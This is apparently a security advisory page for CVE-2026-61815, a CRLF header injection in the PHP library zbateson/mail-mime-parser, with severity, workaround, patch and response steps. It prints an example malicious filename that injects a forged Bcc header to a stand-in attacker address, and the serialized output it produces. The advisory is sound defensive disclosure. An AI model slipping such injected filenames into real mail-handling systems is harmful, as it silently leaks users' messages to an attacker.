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CVE-2026-61815 high CVSS 7.2

Vulnerability in zbateson/mail-mime-parser (CVE-2026-61815)

Summary

Vulnerability in zbateson/mail-mime-parser (CVE-2026-61815). Risk of unauthorized operations or information disclosure. Exploitable via filename. Mitigation: upgrade to 4.0.2 or later.

Original description

The description as published by the source.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

  • ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripp…

Source: NIST National Vulnerability Database NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-61815 has been found in zbateson/mail-mime-parser.
Attackers can target a specific entry point like filename over the network to misuse the product.
Risk of unauthorized operations or information disclosure. CVSS score: 7.2/10.
What to do: upgrade zbateson/mail-mime-parser to 4.0.2 or later.
If unsure, ask your IT team or search "zbateson/mail-mime-parser CVE-2026-61815" on the vendor's site.

CVE-2026-61815 (zbateson/mail-mime-parser) — CWE-93 / CVSS v3 7.2
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Attack surface: filename / doc / MimeToken
Patched: 4.0.2 — apply immediately
Workaround: strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (CWE-93) exists in zbateson/mail-mime-parser. Attackers reach the vulnerable code path via filename without authentication.

📍 Affected scope

Check the vendor advisory for the affected versions of zbateson/mail-mime-parser. Attack surface: filename / doc / MimeToken.

🔥 Severity

Severity: High (CVSS 7.2/10). Risk of unauthorized operations or information disclosure.

🔧 How to fix

Update to 4.0.2.

🛡️ Workaround

Workaround: strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'zbateson/mail-mime-parser' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify 
    grep -r 'zbateson/mail-mime-parser' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で zbateson/mail-mime-parser を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply temporary workaround mitigate 
    strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.

    パッチが適用されるまでの応急処置として、strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e. を実施。回避策の副作用 (機能低下) を確認した上で。

  3. 3
    Apply patch patch 
    Upgrade zbateson/mail-mime-parser to 4.0.2

    ステージング環境で 4.0.2 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  4. 4
    Post-deployment verification verify 
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

composer zbateson/mail-mime-parser
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.2"}]}]

References

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